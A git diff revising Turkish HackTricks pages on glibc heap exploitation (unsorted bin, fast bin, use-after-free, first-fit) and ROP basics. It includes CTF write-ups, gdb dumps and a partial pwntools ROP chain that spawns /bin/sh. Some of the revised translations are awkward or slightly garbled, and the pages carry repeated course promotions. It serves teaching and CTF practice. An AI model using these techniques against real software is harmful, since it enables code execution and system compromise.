[**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html) -* Birleştirme işlevi, geçilen her iki dizin de aynı olduğunda onu yeniden boyutlandıracağı ve ardından serbest bırakacağı ancak o serbest bırakılan bölgeye bir işaretçi döndüreceği için savunmasızdır. +* Birleştirme işlevi, geçilen her iki dizin de aynı olduğunda onu yeniden boyutlandıracağı ve ardından serbest bırakacağı ancak kullanılan bir bölgeye işaret eden bir işaretçi döndüreceği için savunmasızdır. * Bu nedenle, **2 parça oluşturulur**: **chunk0** kendisiyle birleştirilecek ve üst parçayla birleşmesini önlemek için chunk1. Ardından, **birleştirme işlevi chunk0 ile iki kez çağrılır**, bu da kullanımdan sonra serbest bırakma hatasına neden olur. -* Ardından, **`view`** işlevi, kullanımdan sonra serbest bırakma parçasının dizini olan 2 ile çağrılır, bu da bir libc adresi **sızdırır**. -* Binary, sadece **`global_max_fast`**'ten büyük malloc boyutları yapmasına izin veren korumalara sahip olduğundan, hızlı bin kullanılmaz, bu nedenle sıralanmamış bin saldırısı, global değişken `global_max_fast`'ın üzerine yazmak için kullanılacaktır. -* Ardından, kullanımdan sonra serbest bırakma işaretçisi olan dizin 2 ile edit işlevi çağrılabilir ve `bk` işaretçisinin `p64(global_max_fast-0x10)`'a işaret etmesi sağlanabilir. Ardından, yeni bir parça oluşturulduğunda önceki tehlikeye atıfta bulunan serbest bırakma adresi (0x20) kullanılacak ve **sıralanmamış bin saldırısı tetiklenecek**, `global_max_fast`'ı çok büyük bir değerle üzerine yazarak artık hızlı binlerde parçalar oluşturulabilir. +* Ardından, **`view`** işlevi kullanımdan sonra serbest bırakılan parçanın dizini olan 2 ile çağrılır, bu da bir libc adresi sızdırır. +* Binary, sadece **`global_max_fast`**'ten büyük boyutlarda malloc yapmasına izin veren korumalara sahip olduğundan hiçbir fastbin kullanılmaz, bu nedenle sıralanmamış bin saldırısı, global değişken `global_max_fast`'ın üzerine yazmak için kullanılacaktır. +* Ardından, kullanımdan sonra serbest bırakılan adresi (0x20) etkileyen `bk` işaretçisini `p64(global_max_fast-0x10)`'a işaret edecek şekilde indeks 2 (kullanımdan sonra serbest bırakılan işaretçi) ile edit işlevi çağrılabilir ve ardından yeni bir parça oluşturulduğunda **sıralanmamış bin saldırısı tetiklenir**, `global_max_fast`'ı çok büyük bir değerle üzerine yazarak artık hızlı parçalar oluşturulabilir. * Şimdi bir **hızlı bin saldırısı** gerçekleştirilir: * İlk olarak, **`__free_hook`** konumunda **200 boyutunda hızlı parçalarla çalışılabileceği keşfedilir**: *
gef➤  p &__free_hook
@@ -66,14 +67,14 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-* Eğer bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini üzerine yazmak mümkün olacaktır -* Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçiyle iki kez çağrılır, bu şekilde hızlı binde boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır. -* Ardından, bu parçada **`fd`** adresini önceki **`__free_hook`** fonksiyonuna işaret etmek için düzenleme fonksiyonu çağrılır. -* Daha sonra, hızlı bindeki önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** fonksiyonunun adresiyle üzerine yazılmış bir hızlı bin parçası alınır. -* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme fonksiyonu çağrılır, **`__free_hook`** fonksiyonunu tetikleyerek `/bin/sh\x00` parametresiyle `system` fonksiyonuna işaret etmesi sağlanır. +* Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir işlev işaretçisini üzerine yazmak mümkün olacaktır +* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş işlev bu işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçada boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır. +* Ardından, bu parçada **`fd`** adresini önceki **`__free_hook`** işlevine işaret etmek için düzenleme işlevi çağrılır. +* Daha sonra, hızlı parçadan önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** işlevine işaret eden bir hızlı parça parçası alınır. +* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme işlevi çağrılır, **`__free_hook`** işlevini tetikleyerek `/bin/sh\x00` parametresiyle işaret eden sistem işlevine işaret eder. * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) -* Unsorted binde parçaları birleştirmek için 1B taşma kullanarak libc bilgi sızdırma ve ardından malloc hook'u bir gadget adresiyle üzerine yazmak için hızlı bin saldırısını kötüye kullanmanın başka bir örneği +* Unsorted binde parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek ve ardından malloc kancasını bir tek araç adresiyle üzerine yazmak için hızlı parça saldırısını kullanma başka bir örneği * [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -* Sadece `0x100` boyutundan büyük parçalar tahsis edebiliriz. +* Yalnızca `0x100`'den büyük boyutta parçalar tahsis edebiliriz. * Unsorted Bin saldırısı kullanarak `global_max_fast` üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerekiyor, ancak 16 biti değiştirmemiz gerekiyor). -* Global bir parça dizisini değiştirmek için Hızlı Bin saldırısı. Bu, GOT'u değiştirmeye ve bazı fonksiyonları `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar. +* Global bir parça dizisini değiştirmek için Hızlı Parça saldırısı. Bu, GOT'yi değiştirmeye ve bazı işlevleri `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar. diff --git a/binary-exploitation/libc-heap/use-after-free/README.md b/binary-exploitation/libc-heap/use-after-free/README.md index cface4767..dd77b6c64 100644 --- a/binary-exploitation/libc-heap/use-after-free/README.md +++ b/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,44 +1,46 @@ # Kullanımdan Sonra Ücretsiz +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan Kahraman'a kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te bir alan **ayırdığı**, oraya **bazı bilgiler yazdığı**, artık gerekli olmadığı için onu **serbest bıraktığı** ve ardından **tekrar eriştiğinde** meydana gelir. +Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te bir alan **ayırdığı**, oraya **bazı bilgiler yazdığı**, artık gerekli olmadığı için **serbest bıraktığı** ve daha sonra **tekrar eriştiğinde** meydana gelir. -Buradaki sorun, bir **serbest bırakılan belleğe erişildiğinde** (burada **hata olmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi veri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verinin üzerine yazılmış olması nedeniyle **orijinalde depolanan verinin hassasiyetine bağlı olarak bir zafiyet oluşacaktır** (eğer çağrılacak bir işlevin işaretçisi ise, saldırgan onu kontrol edebilir). +Buradaki sorun, bir **serbest bırakılan belleğe erişildiğinde** (hata **oluşmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi verileri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verilerin üzerine yazıldığı bir **zafiyet oluşturabilir ki bu, orijinal olarak depolanan verilerin hassasiyetine bağlı olacaktır** (eğer çağrılacak bir işlevin işaretçisiyse, saldırgan onu kontrol edebilir). ### İlk Uygun Saldırı -İlk uygun saldırı, bazı bellek tahsis edicilerin, örneğin glibc'de, serbest bırakılan belleği nasıl yönettiğini hedefler. Bir bellek bloğunu serbest bıraktığınızda, bu blok bir liste eklenir ve yeni bellek istekleri bu listeden sona doğru çeker. Saldırganlar, **hangi bellek bloklarının yeniden kullanılacağını manipüle etmek için bu davranışı kullanabilir**, potansiyel olarak bunlar üzerinde kontrol kazanabilir. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra ücretsiz" sorunlarına yol açabilir, böylece bir güvenlik riski oluşturabilir.\ -Daha fazla bilgi için: +İlk uygun saldırı, bazı bellek tahsis edicilerin, örneğin glibc'de, serbest bırakılan belleği nasıl yönettiğini hedefler. Bir bellek bloğunu serbest bıraktığınızda, bu blok bir liste eklenir ve yeni bellek istekleri bu listeden sona doğru çeker. Saldırganlar, **hangi bellek bloklarının yeniden kullanılacağını manipüle etmek için bu davranışı kullanabilir ve bunları kontrol altına alabilirler**. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra ücretsiz" sorunlarına yol açabilir, böylece bir güvenlik riski oluşturabilir.\ +Daha fazla bilgi için şuraya bakın: {% content-ref url="first-fit.md" %} [first-fit.md](first-fit.md) {% endcontent-ref %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan Kahraman'a kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/use-after-free/first-fit.md b/binary-exploitation/libc-heap/use-after-free/first-fit.md index 43e129ab7..e521aca3d 100644 --- a/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -1,33 +1,34 @@ # İlk Uygun +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **İlk Uygun** -Glibc kullanarak bir programda belleği serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İşte iki yaygın senaryonun basitleştirilmiş bir açıklaması: sıralanmamış kutular ve hızlı kutular. +Bir programda glibc kullanarak belleği serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İki yaygın senaryonun basitleştirilmiş bir açıklaması şunlardır: sıralanmamış kutular ve hızlı kutular. ### Sıralanmamış Kutular -Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu parça sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların önüne (başa) eklendiği bir liste gibi davranır. Yeni bir bellek parçası istediğinizde, tahsisatçı, isteğiniz için yeterince büyük bir parça bulmak için sıralanmamış kutuya arkadan (kuyruk) bakar. Eğer sıralanmamış kutudan bir parça ihtiyacınızdan büyükse, bölünür; ön kısmı geri döndürülür ve geri kalan kısım kutuda kalır. +Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu parça sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların önüne (başa) eklenen bir liste gibi davranır. Yeni bir bellek parçası istediğinizde, tahsisatçı, istediğinizden yeterince büyük bir parça bulmak için sıralanmamış kutuya arkadan (kuyruk) bakar. Eğer sıralanmamış kutudan bir parça istediğinizden büyükse, bölünür; ön kısmı geri döndürülür ve geri kalan kısım kutuda kalır. Örnek: -* 300 bayt (`a`) tahsis edersiniz, ardından 250 bayt (`b`) tahsis edersiniz, `a`'yı serbest bırakırsınız ve tekrar 250 bayt (`c`) istersiniz. -* `a`'yı serbest bıraktığınızda, sıralanmamış kutuya gider. -* Sonra tekrar 250 bayt isterseniz, tahsisatçı `a`'yı kuyrukta bulur ve bölerek, isteğinize uygun olan kısmı geri döndürür ve geri kalanı kutuda tutar. -* `c`, önceki `a`'ya işaret edecek ve `a`'ların içeriğiyle dolacaktır. +* 300 bayt (`a`) tahsis edersiniz, ardından 250 bayt (`b`) tahsis edersiniz, `a`yı serbest bırakırsınız ve tekrar 250 bayt (`c`) istersiniz. +* `a`yı serbest bıraktığınızda, sıralanmamış kutuya gider. +* Sonra 250 bayt daha isterseniz, tahsisatçı `a`yı kuyrukta bulur ve bölerek, isteğinize uygun olan kısmı geri döndürür ve geri kalanı kutuda tutar. +* `c`, önceki `a`ya işaret edecek ve `a`'ların içeriğiyle dolacaktır. ```c char *a = malloc(300); char *b = malloc(250); @@ -36,11 +37,11 @@ char *c = malloc(250); ``` ### Fastbins -Fastbins küçük bellek parçaları için kullanılır. Sıralanmamış kovaların aksine, fastbins yeni parçaları başa ekler ve son giren-ilk çıkan (LIFO) davranışını oluşturur. Eğer küçük bir bellek parçası isterseniz, ayırıcı fastbin'in başından alacaktır. +Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kovaların aksine, fastbins yeni parçaları başa ekler ve son giren-ilk çıkan (LIFO) davranışı oluşturur. Eğer küçük bir bellek parçası isterseniz, ayırıcı fastbin'in başından alacaktır. Örnek: -* 20 baytlık dört parça (`a`, `b`, `c`, `d`) ayırırsınız. +* 20 baytlık dört parça ayırırsınız (`a`, `b`, `c`, `d`). * Onları herhangi bir sırayla serbest bıraktığınızda, serbest bırakılan parçalar fastbin'in başına eklenir. * Sonra 20 baytlık bir parça isterseniz, ayırıcı en son serbest bırakılan parçayı fastbin'in başından döndürecektir. ```c @@ -61,12 +62,12 @@ d = malloc(20); // a * [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit) * [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) -* ARM64. Use after free: Bir kullanıcı nesnesi oluştur, serbest bırak, serbest bırakılan parçayı alan bir nesne oluştur ve ona yazma izni ver, **öncekinin konumunu kullanıcı->şifre ile değiştir**. Kullanıcıyı tekrar kullanarak **şifre kontrolünü atla** +* ARM64. Use after free: Bir kullanıcı nesnesi oluştur, serbest bırak, serbest bırakılan parçayı alan bir nesne oluştur ve ona yazma izni ver, **öncekinin konumunu kullanıcı->şifre ile değiştir**. Kullanıcıyı **şifre kontrolünü atlamak** için yeniden kullan. * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example) -* Program notlar oluşturmaya izin verir. Bir not, malloc(8) içinde not bilgisine (çağrılabilecek bir işlev işaretçisi ile) ve notun içeriğine sahip başka bir malloc(\) işaretçisine sahip olacaktır. +* Program notlar oluşturmaya izin verir. Bir not, not bilgisini içeren malloc(8) (çağrılabilen bir işlevin işaretçisi ile) ve notun içeriğini içeren başka bir malloc(\) işaretçisine sahip olacak. * Saldırı, not bilgi boyutundan daha büyük malloc içeriğine sahip 2 not (not0 ve not1) oluşturmak ve ardından bunları serbest bırakarak hızlı bin (veya tcache) içine almaktır. -* Sonra, içerik boyutu 8 olan başka bir not (not2) oluşturun. İçerik, not1'de olacak çünkü parça yeniden kullanılacak, işlev işaretçisini win işlevine işaret etmesi için değiştirebileceğimiz yer ve ardından not1'i Use-After-Free yaparak yeni işlev işaretçisini çağırmak. +* Sonra, içerik boyutu 8 olan başka bir not (not2) oluşturun. İçerik, parçanın yeniden kullanılacağı not1'de olacak, işlev işaretçisini win işlevine yönlendirebilir ve ardından not1'i Use-After-Free yaparak yeni işlev işaretçisini çağırabiliriz. * [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html) -* Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden boyutlandırmak mümkündür ve önceki veriler hala orada olduğundan, parçadaki yeni beklenen yapıya göre işlem görecektir, böylece değeri ayarlamak veya bayrağı almak mümkün olacaktır. +* Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden boyutlandırmak mümkündür ve önceki veriler hala orada olduğundan, parçadaki yeni beklenen yapıya göre işlenecektir, böylece değeri ayarlamak veya bayrağı almak mümkün olacaktır. * [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html) -* Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu ilk ayrılan parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni ayrılan parçada, dizin içindeki numarası saklanır. Sonra, 4 parça (+ başlangıçta ayrılan) tahsis edin, sonuncusu içinde 4 olacak şekilde, onları serbest bırakın ve ilk parçanın yeniden tahsisini zorlayın, bu da içinde 4 olan son serbest bırakılan parçayı kullanacaktır. +* Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu ilk ayrılan parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni ayrılan parçada, dizin içindeki numarası saklanır. Sonra, 4 parça (+ başlangıçta ayrılan) tahsis edin, sonuncusu içinde 4 olacak, onları serbest bırakın ve ilk parçanın yeniden tahsisini zorlayın, bu da içinde 4 olan son parçayı kullanacaktır. diff --git a/binary-exploitation/rop-return-oriented-programing/README.md b/binary-exploitation/rop-return-oriented-programing/README.md index 82eb7a8b1..ef73b0efe 100644 --- a/binary-exploitation/rop-return-oriented-programing/README.md +++ b/binary-exploitation/rop-return-oriented-programing/README.md @@ -1,56 +1,40 @@ -# ROP - Return Oriented Programing +# **Temel Bilgiler** -
- -AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - -
- -## **Temel Bilgiler** - -**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, binary veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani **"gadget"**'ları kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir. +**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sömürü tekniğidir. Bir saldırgan, kabuk kodu enjekte etmek ve yürütmek yerine, genellikle ikili dosyada veya yüklenmiş kütüphanelerde bulunan, **"gadget"** olarak bilinen kod parçalarını kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri kaydırmak veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir. ### ROP Nasıl Çalışır -1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tampon taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak. -2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve zincirler. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir. -3. **Yük Yürütme**: Zayıf işlev geri döndüğünde, meşru bir konuma dönüş yerine, gadget zincirini yürütmeye başlar. +1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tam buffer taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak. +2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve birbirine bağlar. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir. +3. **Yük Yürütme**: Kırılgan işlev döndüğünde, meşru bir konuma dönmemek yerine, gadget zincirini yürütmeye başlar. ### Araçlar -Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir. +Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), ve [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir. -## ROP Zinciri x86 Örneği +## x 32-bit Örneğinde ROP Zinciri -### **x86 (32-bit) Çağrı sözleşmeleri** +### **x86 (32-bit) Çağrı Kuralları** * **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları ters sırayla (sağdan sola) yığına itilir. **Argümanlar sağdan sola doğru yığına itilir.** -* **stdcall**: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alanın sorumluluğundadır. +* **stdcall**: Cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı yapan işlevin sorumluluğundadır. ### **Gadget'lar Bulma** -Öncelikle, binary veya yüklenmiş kütüphanelerde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır: +İlk olarak, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır: * `pop eax; ret`: Bu gadget, yığının en üst değerini `EAX` kaydedicisine iter ve ardından döner, böylece `EAX` üzerinde kontrol sağlar. * `pop ebx; ret`: Yukarıdakiyle benzer, ancak `EBX` kaydedicisi için, `EBX` üzerinde kontrol sağlar. -* `mov [ebx], eax; ret`: `EAX` içindeki değeri, `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle bir **write-what-where gadget** olarak adlandırılır. +* `mov [ebx], eax; ret`: `EAX` içindeki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle bir **write-what-where gadget** olarak adlandırılır. * Ayrıca, `system()` işlevinin adresine sahibiz. ### **ROP Zinciri** -**pwntools** kullanarak, ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlıyoruz, `system('/bin/sh')`'yi yürütmeyi amaçlayarak, zincirin aşağıdaki gibi başladığına dikkat edin: +**pwntools** kullanarak, ROP zinciri yürütmesi için yığına hazırlık yaparız ve aşağıdaki gibi devam ederiz, `system('/bin/sh')`'yi yürütmeyi amaçlayarak, zincirin aşağıdaki ile başladığına dikkat edin: 1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı) 2. `system` işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak, daha fazla bilgi için [**Ret2lib**](ret2lib/)) -3. `system()`'dan dönüş adresi için yer tutucu +3. `system()`'dan dönen adres için yer tutucu 4. `"/bin/sh"` dizesi adresi (system işlevi için parametre) ```python from pwn import * @@ -95,16 +79,16 @@ p.interactive() #### **Gadget'ları Bulma** -Amacımız, **RDI** registerını ayarlamamıza ( **system()`a 